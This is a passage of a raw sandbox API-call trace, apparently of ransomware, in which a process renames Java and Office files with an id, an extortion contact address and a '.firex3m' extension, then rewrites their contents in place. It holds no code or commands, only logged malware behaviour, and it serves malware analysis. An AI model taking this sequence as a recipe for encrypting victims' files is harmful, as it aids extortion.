lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.290] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.290] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TZMAPP~1.FIR")) returned 0x6d5200 [0119.290] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0119.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.290] GetProcessHeap () returned 0x630000 [0119.290] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x20e1) returned 0x66e858 [0119.291] GetProcessHeap () returned 0x630000 [0119.291] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x20e1) returned 0x6ed3928 [0119.291] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.291] ReadFile (in: hFile=0x6bc, lpBuffer=0x66e858, nNumberOfBytesToRead=0x20c0, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66e858*, lpNumberOfBytesRead=0x6d7ff0c*=0x20c0, lpOverlapped=0x0) returned 1 [0119.324] GetProcessHeap () returned 0x630000 [0119.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0119.324] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.324] WriteFile (in: hFile=0x6bc, lpBuffer=0x6ed3928*, nNumberOfBytesToWrite=0x20c0, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed3928*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20c0, lpOverlapped=0x0) returned 1 [0119.324] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.324] WriteFile (in: hFile=0x6bc, lpBuffer=0x6ed59e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed59e7*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.324] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.324] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0119.324] CloseHandle (hObject=0x6bc) returned 1 [0119.325] GetProcessHeap () returned 0x630000 [0119.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed3928 | out: hHeap=0x630000) returned 1 [0119.325] GetProcessHeap () returned 0x630000 [0119.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66e858 | out: hHeap=0x630000) returned 1 [0119.325] GetProcessHeap () returned 0x630000 [0119.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0119.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd11384f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20f4, dwReserved0=0x9f87496, dwReserved1=0x66e850, cFileName="tzmappings.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TZMAPP~1.FIR")) returned 0x6d4ec0 [0119.326] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0120.807] Sleep (dwMilliseconds=0x1) [0123.392] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml", len=0x49 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 1 [0123.392] GetProcessHeap () returned 0x630000 [0123.392] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x160) returned 0x66a3e0 [0123.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0124.102] CloseHandle (hObject=0x6f8) returned 1 [0124.102] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.103] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AUTHOR~1.FIR")) returned 0x6d5200 [0124.104] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0124.104] GetProcessHeap () returned 0x630000 [0124.104] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x683548 [0124.104] GetProcessHeap () returned 0x630000 [0124.104] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2698 [0124.104] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.104] ReadFile (in: hFile=0x6f8, lpBuffer=0x683548, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x683548*, lpNumberOfBytesRead=0x6d7ff0c*=0x160, lpOverlapped=0x0) returned 1 [0124.106] GetProcessHeap () returned 0x630000 [0124.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0124.106] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.106] WriteFile (in: hFile=0x6f8, lpBuffer=0x6e2698*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2698*, lpNumberOfBytesWritten=0x6d7ff0c*=0x160, lpOverlapped=0x0) returned 1 [0124.106] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.106] WriteFile (in: hFile=0x6f8, lpBuffer=0x6e27f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e27f7*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.107] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.107] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.107] CloseHandle (hObject=0x6f8) returned 1 [0124.107] GetProcessHeap () returned 0x630000 [0124.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2698 | out: hHeap=0x630000) returned 1 [0124.108] GetProcessHeap () returned 0x630000 [0124.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x683548 | out: hHeap=0x630000) returned 1 [0124.108] GetProcessHeap () returned 0x630000 [0124.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.364] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfebc08c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x9f87496, dwReserved1=0x683540, cFileName="AuthoredExtensions.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AUTHOR~1.FIR")) returned 0x6d4e00 [0124.365] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0124.365] Sleep (dwMilliseconds=0x1) [0124.427] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", len=0x43 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 1 [0124.427] GetProcessHeap () returned 0x630000 [0124.427] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x104) returned 0x66a3e0 [0124.427] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0124.427] CloseHandle (hObject=0x414) returned 1 [0124.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.428] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SNMPAC~1.FIR")) returned 0x6d5580 [0124.428] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0124.428] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0124.429] GetProcessHeap () returned 0x630000 [0124.429] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd41) returned 0x709768 [0124.429] GetProcessHeap () returned 0x630000 [0124.429] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd41) returned 0x695ed0 [0124.429] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.429] ReadFile (in: hFile=0x414, lpBuffer=0x709768, nNumberOfBytesToRead=0xd20, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709768*, lpNumberOfBytesRead=0x6d7ff0c*=0xd20, lpOverlapped=0x0) returned 1 [0124.453] GetProcessHeap () returned 0x630000 [0124.453] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0124.453] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.453] WriteFile (in: hFile=0x414, lpBuffer=0x695ed0*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesWritten=0x6d7ff0c*=0xd20, lpOverlapped=0x0) returned 1 [0124.453] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.453] WriteFile (in: hFile=0x414, lpBuffer=0x696bef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x696bef*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.453] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.453] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.453] CloseHandle (hObject=0x414) returned 1 [0124.454] GetProcessHeap () returned 0x630000 [0124.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0124.454] GetProcessHeap () returned 0x630000 [0124.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709768 | out: hHeap=0x630000) returned 1 [0124.454] GetProcessHeap () returned 0x630000 [0124.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.454] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x10203469, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd54, dwReserved0=0x9f87496, dwReserved1=0x709760, cFileName="snmp.acl.template.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SNMPAC~1.FIR")) returned 0x6d5280 [0124.455] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0124.456] Sleep (dwMilliseconds=0x1) [0124.461] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access", len=0x42 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 1 [0124.461] GetProcessHeap () returned 0x630000 [0124.461] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf8) returned 0x66a3e0 [0124.461] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0126.063] CloseHandle (hObject=0x708) returned 1 [0126.064] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0126.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.343] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JMXREM~2.FIR")) returned 0x6d4f40 [0128.343] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0128.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0128.343] GetProcessHeap () returned 0x630000 [0128.343] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfa1) returned 0x727d80 [0128.343] GetProcessHeap () returned 0x630000 [0128.343] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfa1) returned 0x6ed2090 [0128.344] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.344] ReadFile (in: hFile=0x708, lpBuffer=0x727d80, nNumberOfBytesToRead=0xf80, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x6d7ff0c*=0xf80, lpOverlapped=0x0) returned 1 [0128.376] GetProcessHeap () returned 0x630000 [0128.376] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0128.376] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.376] WriteFile (in: hFile=0x708, lpBuffer=0x6ed2090*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesWritten=0x6d7ff0c*=0xf80, lpOverlapped=0x0) returned 1 [0128.376] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.376] WriteFile (in: hFile=0x708, lpBuffer=0x6ed300f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed300f*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.376] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.376] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.376] CloseHandle (hObject=0x708) returned 1 [0128.377] GetProcessHeap () returned 0x630000 [0128.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0128.377] GetProcessHeap () returned 0x630000 [0128.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0128.377] GetProcessHeap () returned 0x630000 [0128.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0129.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1276c695, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x9f87496, dwReserved1=0x727d78, cFileName="jmxremote.access.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JMXREM~2.FIR")) returned 0x6d4f00 [0129.427] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0129.428] Sleep (dwMilliseconds=0x1) [0131.539] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf", len=0x32 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 1 [0131.539] GetProcessHeap () returned 0x630000 [0131.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x28) returned 0x66a3e0 [0131.540] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 